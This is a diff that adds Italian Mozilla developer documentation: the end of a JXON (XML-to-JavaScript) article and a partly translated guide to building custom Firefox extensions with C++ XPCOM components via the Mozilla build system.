+<pre class="brush: xml">&lt;car&gt;
+  &lt;type&gt;Ferrari&lt;/type&gt;
+  &lt;bought /&gt;
+&lt;/car&gt;
+</pre>
+
+<p>If the value were <code>null</code> it would be more cumbersome to launch a code like this:</p>
+
+<pre class="brush: js">if (myObject.car.bought) {
+  // do something
+}
+</pre>
+
+<div class="note">According to our <a href="#Algoritmo_JXON_3" title="Vai all'algoritmo JXON #3">terzo algoritmo</a> and our <a href="#Algoritmo_JXON_4" title="Vai all'algoritmo JXON #4">quarto algoritmo</a>, just <code>Text</code> nodes or <code>CDATASection</code> nodes which contain nothing but white spaces (precisely: <code>/^\s+$/</code>) are parsed as <code>null</code>.</div>
+
+<p>An important consideration is that, using the third or the fourth algorithm, an XML Document can be used to create any type of Javascript object. For example, If you want to create an object like the following:</p>
+
+<pre class="brush: js">{
+  "bool": true,
+  "array": ["Cinema", "Hot dogs", false],
+  "object": {
+    "nickname": "Jack",
+    "registration_date": new Date(1995, 11, 25),
+    "privileged_user": true
+  },
+  "num": 99,
+  "text": "Hello World!"
+}
+</pre>
+
+<p>you must just create an XML document with the following structure:</p>
+
+<pre class="brush: xml">&lt;bool&gt;true&lt;/bool&gt;
+&lt;array&gt;Cinema&lt;/array&gt;
+&lt;array&gt;Hot dogs&lt;/array&gt;
+&lt;array&gt;false&lt;/array&gt;
+&lt;object&gt;
+  &lt;nickname&gt;Jack&lt;/nickname&gt;
+  &lt;registration_date&gt;Dec 25, 1995&lt;/registration_date&gt;
+  &lt;privileged_user /&gt;
+&lt;/object&gt;
+&lt;num&gt;99&lt;/num&gt;
+&lt;text&gt;Hello World!&lt;/text&gt;
+</pre>
+
+<p>This example also shows how the ideal JXON document is an XML document designed specifically to be converted in JSON format.</p>
+
+<h3 id="Costruire_file_a_partire_da_istanze_di_Document">Costruire file a partire da istanze di <code>Document</code></h3>
+
+<p>First, create a DOM tree as described in the <a href="/it/Come_creare_un_albero_DOM" title="it/Come_creare_un_albero_DOM">Come creare un albero DOM</a> article. If you have already have a DOM tree from using <a href="/it/XMLHttpRequest" title="it/XMLHttpRequest">XMLHttpRequest</a>, skip to the end of this section.</p>
+
+<p>Now, let's serialize <code>doc</code> — the DOM tree — to a file (you can read more <a href="/en/Code_snippets/File_I//O" title="en/Code_snippets/File_I//O">about using files in Mozilla</a>):</p>
+
+<pre class="brush: js">var oFOStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
+var oFile = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD", Components.interfaces.nsILocalFile); // get profile folder
+oFile.append("extensions"); // extensions sub-directory
+oFile.append("{5872365E-67D1-4AFD-9480-FD293BEBD20D}"); // GUID of your extension
+oFile.append("myXMLFile.xml"); // filename
+oFOStream.init(oFile, 0x02 | 0x08 | 0x20, 0664, 0); // write, create, truncate
+(new XMLSerializer()).serializeToStream(doc, oFOStream, ""); // rememeber, doc is the DOM tree
+oFOStream.close();
+</pre>
+
+<h3 id="Costruire_file_a_partire_da_istanze_di_XMLHttpRequest">Costruire file a partire da istanze di <code>XMLHttpRequest</code></h3>
+
+<p>If you already have a DOM tree from using <a href="/it/XMLHttpRequest" title="it/XMLHttpRequest">XMLHttpRequest</a>, use the same code as above but replace <code>serializer.serializeToStream(doc, oFOStream, "")</code> with <code>serializer.serializeToStream(xmlHttpRequest.responseXML.documentElement, oFOStream, "")</code> where <code>xmlHttpRequest</code> is an instance of <code>XMLHttpRequest</code>.</p>
+
+<p>Note that this first parses the XML retrieved from the server, then re-serializes it into a stream. Depending on your needs, you could just save the <code>xmlHttpRequest.responseText</code> directly.</p>
+
+<h3 id="Resources">Resources</h3>
+
+<ul>
+ <li><a class="external" href="http://xulplanet.com/tutorials/mozsdk/xmlparse.php">Parsing and Serializing XML su XUL Planet</a></li>
+</ul>
diff --git a/files/it/creare_estensioni_personalizzate_per_firefox_con_il_sistema_di_sviluppo_di_mozilla/index.html b/files/it/creare_estensioni_personalizzate_per_firefox_con_il_sistema_di_sviluppo_di_mozilla/index.html
new file mode 100644
index 0000000000..48813c2b19
--- /dev/null
+++ b/files/it/creare_estensioni_personalizzate_per_firefox_con_il_sistema_di_sviluppo_di_mozilla/index.html
@@ -0,0 +1,588 @@
+---
+title: >-
+  Creare Estensioni personalizzate per Firefox con il sistema di sviluppo di
+  Mozilla
+slug: >-
+  Creare_Estensioni_personalizzate_per_Firefox_con_il_sistema_di_sviluppo_di_Mozilla
+tags:
+  - Documentazione_build
+  - Estensioni
+  - TraduzioneIncompleta
+  - Tutte_le_categorie
+  - XPCOM
+translation_of: >-
+  Archive/Add-ons/Creating_Custom_Firefox_Extensions_with_the_Mozilla_Build_System
+---
+<div class="note"><strong>Nota:</strong> Tutte le istruzioni contenute in questo articolo si applicano solo al ramo di Mozilla 1.8 (cioè Firefox 1.5). Cercheremo di tenere questo articolo aggiornato ai cambiamenti. Ciò che può sicuramente essere escluso è che funzioni con i rami 1.7 (firefox 1.0) o precedenti.</div>
+
+<p>Esiste <a href="it/Estensioni">un'abbondanza di materiale</a> su come creare un'estensione per Firefox. Tutta questa documentazione però presume che si stia sviluppando un'estensione utilizzando esclusivamente <a href="it/XUL">XUL</a> e <a href="it/JavaScript">JavaScript</a>. Per estensioni più complesse, potrebbe essere necessario creare dei componenti in C++ per fornire funzionalità aggiuntive. Le ragioni per la quale potrebbe essere necessario includere componenti C++ nell'estensione, possono essere:</p>
+
+<ul>
+ <li>Necessità di ottenere alte prestazioni al di là di quanto possa essere effettuato con codice JavaScript.</li>
+ <li>L'utilizzo di librerie di terze parti scritte in C o C++.</li>
+ <li>L'utilizzo di interfacce di Mozilla che non sono accessibile attraverso <a href="it/XPCOM">XPCOM</a> (es. <a href="it/NSPR">NSPR</a>).</li>
+</ul>
+
+<p>Questo articolo descrive come impostare l'ambiente di sviluppo per un'estensioni di Firefox grande e complessa con alcuni o tutti i requisiti menzionati più sotto. Il processo di raccolta di queste informazioni è stato un pò faticoso a causa della mancanza di informazioni pubblicate su questo argomento, ma è stato assistito da vari membri della comunità di sviluppo di Mozilla, che hanno mostrato una pazienza estrema nel rispondere alle domande di novizi impreparati. In quest'articolo potrebbero esserci molte cose inesatte, poco chiare o non accurate. L'obbiettivo è quello di limare queste istruzioni fino a farle divenire una guida definitiva per seri programmatori che intendano estendere la piattaforma di Firefox. Se sei uno dei tanti che ne sanno di più, il tuo aiuto per migliorare questo articolo sarà enormemente apprezzato.</p>
+
+<p>Devo ricordare che<em>non</em> è necessario compilare Mozilla o usare il Mozilla build system se si vogliono creare componenti C++ per Mozilla. Se si vuole solo creare un componente <a href="it/XPCOM">XPCOM</a> o due, questa è probailmente una guida troppo elaborata, e si farebbe meglio a dare invece uno sguardo a <a class="external" href="http://www.iosart.com/firefox/xpcom/">questo documento</a>. D'altra parte, si si è uno sviluppatore (o un team di sviluppo) con una certa esperienza, e si sa che si andrà a realizzare una estensione grande e complessa, si può tenere in considerazione l'approccio descritto in questo documento.</p>
+
+<p>Un'ultima nota: ho provato queste tecniche solo con Firefox, ma probabilmente funzionano più o meno bene anche con altre piattaforme basate su Gecko, come Thunderbird o Seamonkey. Se qualcuno può confermarmelo e/o fornire linee guida su cosa differisce, Aggiorenrò l'articolo per incorporare tali informazioni.</p>
+
+<h3 id="Bambi_Incontra_Mozilla" name="Bambi_Incontra_Mozilla">Bambi Incontra Mozilla</h3>
+
+<p>Niente di questo doocumento è per i deboli di cuore, In particolare, i passi iniziali richiedono di effettuare il build di Mozilla, che è un enorme - no, gargantuesco! - progetto. Più di uno sviluppatore è stato portato sull'orlo della pazzia provando ad effettuare il build per la prima volta. Se non si è sviluppatori C++ esperti, non me ne preoccuperò. Passate a JavaScript.</p>
+
+<h4 id="Su_piattaforme_Windows" name="Su_piattaforme_Windows">Su piattaforme Windows</h4>
+
+<p>Per il mio primo build di Mozilla ho usato <a href="it/Windows_Build_Prerequisites">questa guida</a>. Non riesco a ricordare perché, ma mi sono bloccato per diverse maniere, ed il tutto è terminato solo dopo aver preso molto più tempo di quanto avessi preventivato. Ecco una <a class="external" href="http://whereswalden.com/mozilla/msvcfree/">guida di insieme</a> che ha ricevuto buone critiche. Seguite metodicamente ogni passo e probabilmente avrete la meglio. Tenete in mente che una volta fatto funzionare il build, probabilmente da lì in poi potrete lavorare senza sforzi. Forse.</p>
+
+<p><span class="comment">I can’t even remember why anymore, but I got stuck in a number of places, and the whole affair ended up taking far longer than I originally expected. Much furniture was smashed, much hair torn out by the roots. Here’s a {{ mediawiki.external('http://whereswalden.com/mozilla/msvcfree/ comprehensive looking guide') }} that’s gotten good reviews. Follow every step methodically and you’ll probably be alright. Focus on the fact that once you get the build working, it’ll probably work effortlessly from then on. Maybe.</span></p>
+
+<h4 id="Su_altre_piattaforme" name="Su_altre_piattaforme">Su altre piattaforme</h4>
+
+<p>Non ho mai provato ad effettuare build su altre piattaforme, per cui non so nulla di questo. Immagino comunuque che nei sistemi Unix-like il procedimento sia più semplice. Si può consultare questa <a href="it/Documentazione_per_build">lista completa di piattaforme</a> per cui sono disponibili istruzioni per il building.</p>
+
+<h3 id="Strutturare_il_proprio_progetto" name="Strutturare_il_proprio_progetto">Strutturare il proprio progetto</h3>
+
+<p>Mozilla include un insieme di estensioni complesse che sono integrate nel suo processo di build. Per questo motivo si rende necessario risolvere tutti i problemi correlati alla creazione e registrazione di componenti XPCOM, build di file JAR e manifests, installazione del tutto nella directory <code>extensions/</code> di Firefox e così via. Si rende quindi necessario fare riferimento a questa struttura per costruire la nostra estensione.</p>
+
+<p>Prima di tutto, pensiamo ad un nome accattivante per l'estensione e creiamo la directory con quel nome come sottodirectory di <code>/mozilla/extensions/</code>. Usare solo lettere minuscole. Ci dovrebbe essere un insieme di altre directory (<code>inspector/</code>, <code>reporter/</code> e così via) nello stesso livello dell'albero di build.</p>
+
+<p><br>
+ Notare che prima di effettuare il build di qualcosa, il build system di Mozilla invoca un processo di configurazione che genera i makefile usati per effettuare il build, a partire dallo schema di makefile chiamato <code>Makefile.in</code>. Il makefile attuale tende ad essere molto simile o anche identico allo schema, ma la maggiore flessibilità data dalla sua generaziione automatica è uno dei punti che rendono il sistema di build così potente.</p>
+
+<h4 id="Anatomia_di_una_semplice_estensione_C.2B.2B" name="Anatomia_di_una_semplice_estensione_C.2B.2B">Anatomia di una semplice estensione C++</h4>
+
+<p>Assumiamo stiate usando C++ per scrivere componenti XPCOM che possono essere usati da altri componenti C++ o da JavaScript. Il processo di creazione di un componente è relativamente lineare, utilizzando il build system di Mozilla.</p>
+
+<p>Nel caso più semplice, un componente consisterà di una singola directory principale con due sottodirectory, <code>public/</code> e <code>src/</code>. La directory principale deve contenere un <code>Makefile.in</code> (da ora in poi ci riferiremo a questo come al makefile anche se sappiamo che viene usato per generare quello vero). Questo Makefile ci dà due informazioni. Primo, elenca le sotodirectory che compongono l'estensione, di modo che il build system sa dove cercare per makefile aggiuntivi. Secondo, istruisce il build system sul creare una nuova estensione, piuttosto che copiare i componenti direttamente nella directory binaria di Firefox. Il primo vantaggio di usare una estensione è che diventa veramente facile realizzare un pacchetto con tutto il necessario ed installarlo su un'altra macchina.</p>
+
+<p>Detto ciò ecco il makefile di base, puro e semplice (<code>Makefile.in</code> nella directory principale dell'estensione):</p>
+
+<pre>DEPTH		= ../..
+topsrcdir	= @top_srcdir@
+srcdir		= @srcdir@
+VPATH		= @srcdir@
+
+include $(DEPTH)/config/autoconf.mk
+
+MODULE = myextension
+
+DIRS		= public src
+
+XPI_NAME		= myextension
+INSTALL_EXTENSION_ID	= myextension@mycompany.com
+XPI_PKGNAME		= myextension
+
+DIST_FILES = install.rdf
+
+include $(topsrcdir)/config/rules.mk
+</pre>
+
+<p>Una descrizione dettagliata del processo di build, che descrive le caratteristiche chiave di questo makefile, può essere trovata <a class="external" href="http://www.mozilla.org/build/build-system.html">a questo indirizzo</a>. <strong>MODULE</strong> e <strong>XPI_NAME</strong> sono entrambi impostati come il nome della propria estensione. sono ripetuti in tutti i makefile del progetto di modo che ogni file sia inserito nella stessa posizione all'interno dell'area operativa XPI (<em>XPI staging area</em> , v. sotto). <strong>INSTALL_EXTENSION_ID</strong> è l'ID univoco della propria estensione. Questo può essere un GUID, ma il formato visto sopra è più grazioso e, diciamocelo, molto più semplice da ricordare. Non è necessario fornire un <strong>XPI_PKGNAME</strong>, ma se si crea un file XPI, pronto per la distribuzione, viene automaticamente creato nella radice dell'area operativa XPI (<code>/mozilla/$(MOZ_OBJDIR)/dist/xpi-stage/</code>).</p>
+
+<p>Ogni estensione deve includere un file <code>install.rdf</code> che indica a Firefox come deve essere installata. Questo file dovrebbe essere posizionato nella directory principale dell'estensione ed essere simile a questo:</p>
+
+<pre>&lt;?xml version=\"1.0\"?&gt;
+
+&lt;RDF xmlns=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"
+     xmlns:em=\"http://www.mozilla.org/2004/em-rdf#\"&gt;
+  &lt;Description about=\"urn:mozilla:install-manifest\"&gt;
+    &lt;em:id&gt;myextension@mycompany.com&lt;/em:id&gt;
+    &lt;em:version&gt;0.1&lt;/em:version&gt;
+
+    &lt;em:targetApplication&gt;
+      &lt;!-- Firefox --&gt;
+      &lt;Description&gt;
+        &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+        &lt;em:minVersion&gt;1.0+&lt;/em:minVersion&gt;
+        &lt;em:maxVersion&gt;1.0+&lt;/em:maxVersion&gt;
+      &lt;/Description&gt;
+    &lt;/em:targetApplication&gt;
+
+    &lt;!-- front-end metadata --&gt;
+    &lt;em:name&gt;My First Extension&lt;/em:name&gt;
+    &lt;em:description&gt;Just an example.&lt;/em:description&gt;
+    &lt;em:creator&gt;allpeers.com&lt;/em:creator&gt;
+    &lt;em:homepageURL&gt;http://www.allpeers.com/blog/&lt;/em:homepageURL&gt;
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+
+<p>MozillaZine ha una <a class="external" href="http://kb.mozillazine.org/Install.rdf">descrizione dettagliata</a> del formato del file <code>install.rdf</code>. Usare la variabile <strong>DIST_FILES</strong> nel makefile per dire a <code>make</code> di copiare il file nella directory dell'estensione e (opzionalmente) nel file XPI.</p>
+
+<h4 id="Interfacce_pubbliche" name="Interfacce_pubbliche">Interfacce pubbliche</h4>
+
+<p>La directory <code>public/</code> contiene ogni interfaccia che deve essere accedibile da altri moduli. Questi possono essere file <a class="external" href="http://www.mozilla.org/scriptable/xpidl/idl-authors-guide/index.html">IDL</a> che descrivono interfacce <a href="it/XPCOM">XPCOM</a>, i quali vengono usati per generare file header C++ per l'inclusione all'interno del proprio file sorgente. Possono anche essere normali file header C++ che vengono usati direttamente da altri moduli. Il modo più facile per permettere questa ultimaoperazione è l'implementazione inline di tutti i metodi, così da non avere dipendenze aggiuntive in fase di linking. Si dovrà altrimenti eseguire illink statico al proprio modulo se si usano questi header pubblici in altri moduli. Personalmente scoraggerei qyesta pratica (tra l'altro, il linking static significa avere lo stesso codice caricato più di una volta in memoria, il quale non sarà poi disponibile per Javascript o altri linguaggi diversi dal C++) e incoraggerei l'uso di XPCOM dove possibile.</p>
+
+<p>Il Makefile nella directory <code>public/</code> dovrebbe seguire questo modello:</p>
+
+<pre>DEPTH		= ../../..
+topsrcdir	= @top_srcdir@
+srcdir		= @srcdir@
+VPATH		= @srcdir@
+
+include $(DEPTH)/config/autoconf.mk
+
+MODULE		= myextension
+XPIDL_MODULE	= myextension
+
+XPI_NAME = myextension
+
+EXPORTS = \
+		myHeader.h \
+		$(NULL)
+
+XPIDLSRCS	= \
+		myIFirstComponent.idl \
+		myISecondComponent.idl \
+		$(NULL)
+
+include $(topsrcdir)/config/rules.mk
+</pre>
+
+<p><strong>XPIDL_MODULE</strong> è il nome del file XPT generato che contine informazioni de tipo riguardanto le proprie interfacce <a class="external" href="http://www.mozilla.org/scriptable/xpidl/idl-authors-guide/index.html">IDL</a>. Se si hanno più moduli, assicurarsi assolutamente di usare un valore differente di <strong>XPIDL_MODULE</strong> per ognuno. In caso contrario il primo modulo XPT verrà sovrascritto dal secondo e si otterrnno errori <strong>NS_ERROR_XPC_BAD_IID</strong> quando si proverà ad accedere alle interfacce IDL dal proprio codice. I file sotto <strong>EXPORTS</strong> vengono copiati direttamente nella directory <code>/mozilla/$(MOZ_OBJDIR)/dist/include/myextension/</code> e sono quindi accedibili da altri moduli (il valore di <strong>MOZ_OBJDIR</strong> è definito in <code>/mozilla/.mozconfig</code>). XPIDLSRCS sono eseguiti attraverso il processore IDL, e gli header C++ generati vengono copiati nella stesa directory di inclusione. In aggiunta, viene generato un file XPT (tipo libreria) e posizionato nella sottodirectory <code>components/</code> dell'estensione.</p>
+
+<h4 id="File_sorgenti" name="File_sorgenti">File sorgenti</h4>
+
+<p>Ora è il momento di creare il makefile ed i file sorgente nella sottodirectory src/. Se si stanno reimplementando interfacce descritte usando IDL, la maniera più facile di farlo è lasciare la directory src/ vuota ed eseguire make solo nella directory public/; spiegheremo tra breve il perché.</p>
+
+<p>Si può poi aprire il file header generato per la propria interfaccia da /mozilla/$(MOZ_OBJDIR)/dist/include/myextension/. QUesta directory contiene i file .H e .CPP dei componenti che possono essere copiati ed incollati all'interno dei propri file di implementazione. Tutto ciò che c'è da fare è riempire gli abbozzi di implementazione presenti nel file C++ e si è pronti per partire.</p>
+
+<p>Ecco un esempio del makefile da inserire all'interno della directory src:</p>
+
+<pre class="eval">DEPTH		= ../../..
+topsrcdir	= @top_srcdir@
+srcdir		= @srcdir@
+VPATH		= @srcdir@
+
+include $(DEPTH)/config/autoconf.mk
+
+IS_COMPONENT = 1
+MODULE = myextension
+LIBRARY_NAME =  myExtension
+
+XPI_NAME = myextension
+
+REQUIRES	= xpcom \
+		  string \
+		  $(NULL)
+
+CPPSRCS		= \
+		  myFirstComponent.cpp \
+		  mySecondComponent.cpp \
+		  myExtension.cpp \
+		  $(NULL)
+
+include $(topsrcdir)/config/rules.mk
+
+EXTRA_DSO_LDOPTS += \
+  $(XPCOM_GLUE_LDOPTS) \
+  $(NSPR_LIBS) \
+  $(NULL)
+
+# <span class="highlightred">NOTE: If you are coding against the 1.8.0 branch (not 1.8 branch or trunk), the</span>
+# <span class="highlightred">above line won't work, due to linker flag issues.</span> Use the following
+# variables instead:
+#
+# EXTRA_DSO_LDOPTS += \
+#   $(MOZ_COMPONENT_LIBS) \
+#   $(NULL)
+#
+# Unfortunately, using MOZ_COMPONENT_LIBS links against xpcom_core, which means
+# your components will not work in future versions of Firefox.
+</pre>
+
+<p>La sezione <code>REQUIRES</code> dice a make quali moduli sono utilizzati dal proprio componente. Questo causa l'aggiunta delle sottodirectory di /mozilla/$(MOZ_OBJDIR)/dist/include/ interessate nel path di inclusione del compilatore C++. Se si stanno includendo header Mozilla ed il compilatore non riesce a trovarli, potrebbe benissimo significare che in REQUIRES non sono stati elencati tutti i moduli necessari. <code>CPPSRCS</code> i file sorgente che devono essere compilati.</p>
+
+<p>In questo esempio, i primi due file contengono l'implementazione dei due componenti dell'estensione. Il fuile finale, myExtension.cpp, contiene il codice necessario per registrare questi componenti, come descritto nella prossima sezione.</p>
+
+<h4 id="Registrare_i_componenti" name="Registrare_i_componenti">Registrare i componenti</h4>
+
+<p>Pre poter utilizzare i propri componenti da altri moduli C++ e JavaScript, devono prima essere registrati. Per fare ciò, l'estensione deve implementare una classe che espone l'interfaccia <code><a href="it/NsIModule">nsIModule</a></code>, che ha i metodi per accedere ai componenti definiti in un modulo. Fortunatamente, questo può essere fatto attraverso l'uso di semplici macro, in modo da non doversi preoccupare dei dettagli di funzionamento.</p>
+
+<p>Il primo passo è la definizione di un CID, ID di contratto (<em>contract ID</em> ) ed un nome di classe per ogni componente. Inserire il codice seguente (adattando alle proprie esigenze i vari <strong>#defines</strong>) all'interno dell'header di ogni componente che si vuole istanziare tramite il component manager (<em>gestore dei componenti</em> ):</p>
+
+<pre>// {00000000-0000-0000-0000-000000000000}
+#define MYFIRSTCOMPONENT_CID \
+	{ 0x00000000, 0x0000, 0x0000, \
+	{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } }
+
+#define MYFIRSTCOMPONENT_CONTRACTID	\"@mycompany.com/myfirst;1\"
+#define MYFIRSTCOMPONENT_CLASSNAME	\"My First Component\"
+</pre>
+
+<p>Ovviamente è necessario compilare il CID con GUID vero. In Windows, questo può essere fatto usando <a class="external" href="http://www.microsoft.com/downloads/details.aspx?familyid=94551F58-484F-4A8C-BB39-ADB270833AFC">guidgen.exe</a>. Gli utenti Unix possono usare uuidgen (fornito direttamente da molte distribuzioni unix e Linux).</p>
+
+<p>Si deve poi creare il file <code>myExtension.cpp</code> in modo simile a questo:</p>
+
+<pre>#include \"nsXPCOM.h\"
+
+#include \"nsIGenericFactory.h\"
+
+/**
+ * Componenti da registrare
+ */
+#include \"myFirstComponent.h\"
+#include \"mySecondComponent.h\"
+
+NS_GENERIC_FACTORY_CONSTRUCTOR(myFirstComponent)
+NS_GENERIC_FACTORY_CONSTRUCTOR(mySecondComponent)
+
+//----------------------------------------------------------
+
+static const nsModuleComponentInfo components[] =
+{
+	{
+		MYFIRSTCOMPONENT_CLASSNAME,
+		MYFIRSTCOMPONENT_CID,
+		MYFIRSTCOMPONENT_CONTRACTID,
+		myFirstComponentConstructor
+	},
+	{
+		MYSECONDCOMPONENT_CLASSNAME,
+		MYSECONDCOMPONENT_CID,
+		MYSECONDCOMPONENT_CONTRACTID,
+		mySecondComponentConstructor
+	},
+};
+
+NS_IMPL_NSGETMODULE(MyExtension, components)
+</pre>
+
+<p>La macro <strong>NS_IMPL_NSGETMODULE</strong> crea l'oggetto modulo appropriato fornendo l'accesso a tutti i componenti elencati nell'array <code><a href="it/NsModuleComponentInfo">nsModuleComponentInfo</a></code>.</p>
+
+<h4 id="Effettuare_il_build" name="Effettuare_il_build">Effettuare il build</h4>
+
+<p>Come detto prima, probabilmente si vuole effettuare il build di una estensione immediatamente dopo aver creato i propri file IDL in modo da generare gli abbozzi C++ per le proprie implementazioni dei componenti. Assumo che abbiate già compilato con successo Firefox. Se non è così, andate all'inizio di questo articolo e non tornate finché non avrete un <code>firefox.exe</code> fuzionante. Non passate dal via. Non ritirate 20 Euro.</p>
+
+<p>Ancora qui? Okay, ora va modificato il proprio <code>.mozconfig</code> (nella directory radice <code>/mozilla/</code>) di modo che la propria estensione venga compilata con insieme Mozilla. Aggiungere le seguenti linee alla fine del file:</p>
+
+<pre>ac_add_options --enable-extensions=default,myextension
+</pre>
+
+<p>Lanciare poi <code>make</code> dalla directory radice di Mozilla:</p>
+
+<pre>make -f client.mk build
+</pre>
+
+<p>Anche si si ha una versione compilata recentemente di Firefox, si dovrà attendere per un po' mentre il <code>make</code> visita ricorsivamente tutto l'albero di directory del codice sorgente di Mozilla cercando nuovo materiale (la mia macchina, che è abbastanza veloce, impiega 10-15 minuti). Raggiungerà anche la vostra estensione e genererà una serie di elementi all'interno di <code>/mozilla/$(MOZ_OBJDIR)/</code>:</p>
+
+<ul>
+ <li>File header file esportati e generati (da IDL) in <code>dist/include/myextension/</code></li>
+ <li>Librerie statiche per il proprio modulo in <code>dist/lib/</code> (in altri moduli vogliano effettuare il link static di questi moduli invece di usare XPCOM).</li>
+ <li>File XPI in <code>dist/xpi-stage/myextension.xpi</code>.</li>
+ <li>Makefile generati per il proprio prgetto in <code>extensions/myextension/</code> (ricordiamo che ci troviamo in <code>/mozilla/$(MOZ_OBJDIR)/</code>).</li>
+ <li>Tutto il resto in <code>dist/bin/extensions/<a class="link-mailto" href="mailto:myextension@mycompany.com" rel="freelink">myextension@mycompany.com</a>/</code>.</li>
+</ul>
+
+<p>Gran parte di questo materiale non è creato in questo primo passo finché make segnalerà di non trovare i file sorgenti per i componenti. Non c'è da preoccuparsi di questo: tutto ciò che serve sono i file header generati che contengono gli abbozzi delle implementazioni C++. Perché la compilazone possa terminare devono essere rimpolpate le implementazioni dei componenti. Va ricordato che non si dovrebbe mai modificare uno di questi file generati automaticamente. Vanno sempre modificati i file usati per generarli e riavviari <code>make</code>. Possono esserci delle eccezioni, a questa regola, ma se si stanno cambiando i file automaticamente generati, molto ptobabilmente si sta sbagliando qualcosa.</p>
+
+<p>Il processo di esplorazione dell'intero albero di Mozilla dura molto tempo. Se si ha già una build di Mozilla, è possibile evitarlo creando un makefile direttamente per ogni estensione. Nella directory radice del proprio $(MOZ_OBJDIR) si digita (da una shell compatibile con bash):</p>
+
+<pre class="eval">../build/autoconf/make-makefile extensions/myextension
+</pre>
+
+<p>Se la propria $(MOZ_OBJDIR) è posizionata fuori da $(TOPSRCDIR), è necessario digitare:</p>
+
+<pre class="eval">$(TOPSRCDIR)/build/autoconf/make-makefile -t $(TOPSRCDIR) extensions/myextension
+</pre>
+
+<p>perché lo script sappia dove si trovano i sorgenti (it'll use the extension path you gave it relative to the current dir to figure out where you want your makefiles to go).</p>
+
+<p>Questo genererà il makefile appropriato per l'estensoine. Che si effettui il build di tutto l'albero Mozilla o si prenda questa scorciatoia, da ora in poi è possibile compilare andando in <code>/mozilla/$(MOZ_OBJDIR)/extensions/myextension/</code> e digitando "make" sulla linea di comando. Questo dovrebbe effettuare il build del proprio componente senza disturbare il resto di Mozilla. Se tutto funziona, si vedrà il proprio file XPI nell'area operativa XPI. Si vedrà anche la versione "esplosa" del pacchetto XPI (ad esempio la struttura decompressa delle directory) all'interno di <code>/mozilla/$(MOZ_OBJDIR)/dist/bin/extensions</code>. (se qualcosa va storto, cercate cosa, risolvetelo e poi tornate qui ed aggiungete la soluzione a questo articolo.)</p>
+
+<p>Per assicurarsi che il processo di build sia veramente finito, lanciare Firefox e controllare che la propria estensione sia elencate selezionando Tools/Extensions. Se si usa Firefox come browser predefinto (e se no, perché?), potrebbe essere necessario chiudere la versione "regolare" di Frefox prima di eseguire quella modificata. Se questo accade, si può provare ad impostare la variabile d'ambiente <strong>MOZ_NO_REMOTE</strong> al valore "1" prima di eseguire la versione di Firefox di sviluppo. Si avràa bisogno inoltre di usare un profilo differente per questa versione:</p>
+
+<pre class="eval">firefox -P<em>development</em>
+</pre>
+
+<p>Dove è sostituito dal nome del nuovo profilo creato. Questo permetterà di eseguire entrambe le versioni di Firefox simultaneamente, permettendo di risparmiare tempo durante il ciclo di build/test.</p>
+
+<h4 id="Chrome.2C_dolce_Chrome" name="Chrome.2C_dolce_Chrome">Chrome, dolce Chrome</h4>
+
+<p><span class="comment">Nota: il titolo originale e' "No Place Like Chrome", una parafrasi di "No Place Like Home", che non ha equivalenti validi in italiano ma che rassomiglia a "Casa dolce Casa"</span> Yippee-ki-yay! Ora abbiamo una estensione che fa, be', assolutamente nulla. E' ora di fare qualcosa con questi fantastici componenti che sono stati implementati e registrati. Il modo più semplice per fare questo è scrivere un po' di codice <a href="it/JavaScript">JavaScript</a> e <a href="it/XUL">XUL</a>. A questo punto, sarebbe di aiuto avere un po' di esperienza nella <a href="it/Estensioni"> scrittura di estensioni "regolari"</a> (ad esempio, che non utilizzano componenti C++ personali). Se non si ha mai provato, il mio consiglio è di pensare ad una idea carina per qualcosa di semplice che avreste sempre voluto avere in Firefox e scriverla. Anche solo visualizzare un nuovo elemento di menu che apre una finestra di dialogo "Hello, World!" è pur sempre un grande esercizio di riscaldamento.</p>
+
+<p>Assumiamo ora che sappiate scrivere estensioni in XUL/JavaScript, siete a conoscenza del fatto che molte delle parti importanti vanno a finire nella directory <code>chrome/</code> della vostra estensione. Bene, il fatto che si stiano usando anche componenti C++ non cambia nulla. Per questo bisogna creare le solite directory <code>content/</code>, <code>locale/</code> e <code>skin/</code> in cui inserire i propri file chrome. Personalmente mi piace posizionare questi direttamente nella directory radice del modulo, ma suppongo non faccia alcuna differenza se si preferisce inserirli in delle sottodirectory <code>chrome/</code> o altro ancora. Spazio alla libertà!</p>
+
+<p>Una volta scritti i necessari file chrome (ad esempio un overlay che aggiunga una voce di menu per istanziare ed usare uno dei propri componenti), è necessario inserirli in un pacchetto come parte della propria estensione. Questo si fa utilizzando un <a href="it/Manifest_JAR">Manifest JAR</a>. Per il nostro semplice esempio di estensione, il file potrebbe somigliare a questo:</p>
+
+<pre>myextension.jar:
+%  content myextension %content/
+%  locale myextension en-US %locale/en-US/
+%  skin myextension classic/1.0 %skin/classic/
+%  overlay chrome://browser/content/browser.xul chrome://myextension/content/MyExtensionOverlay.xul
+	content/MyExtensionOverlay.js		(content/MyExtensionOverlay.js)
+	content/MyExtensionOverlay.xul		(content/MyExtensionOverlay.xul)
+	locale/en-US/MyExtension.dtd		(locale/en-US/MyExtension.dtd)
+	locale/en-US/MyExtension.properties	(locale/en-US/MyExtension.properties)
+	skin/classic/MyExtension.css		(skin/classic/MyExtension.css)
+</pre>
+
+<p>Questo codice va inserito in un file chiamato <code>jar.mn</code> nella directory radice della propria estensione, assicurandosi che i percorsi tra parentesi puntino ai file attuali (se interpretati in relazione con la directory radice). Deve inoltre essere fatta una piccola modifica al makefile nella stessa directory, aggiungendo la linea:</p>
+
+<pre class="eval">USE_EXTENSION_MANIFEST = 1
+</pre>
+
+<p>Questo indica al <code>make</code> di creare un singolo file manifest chiamato <code>chrome.manifest</code> invece di creare file manifest con strani nomi per ogni pacchetto.</p>
+
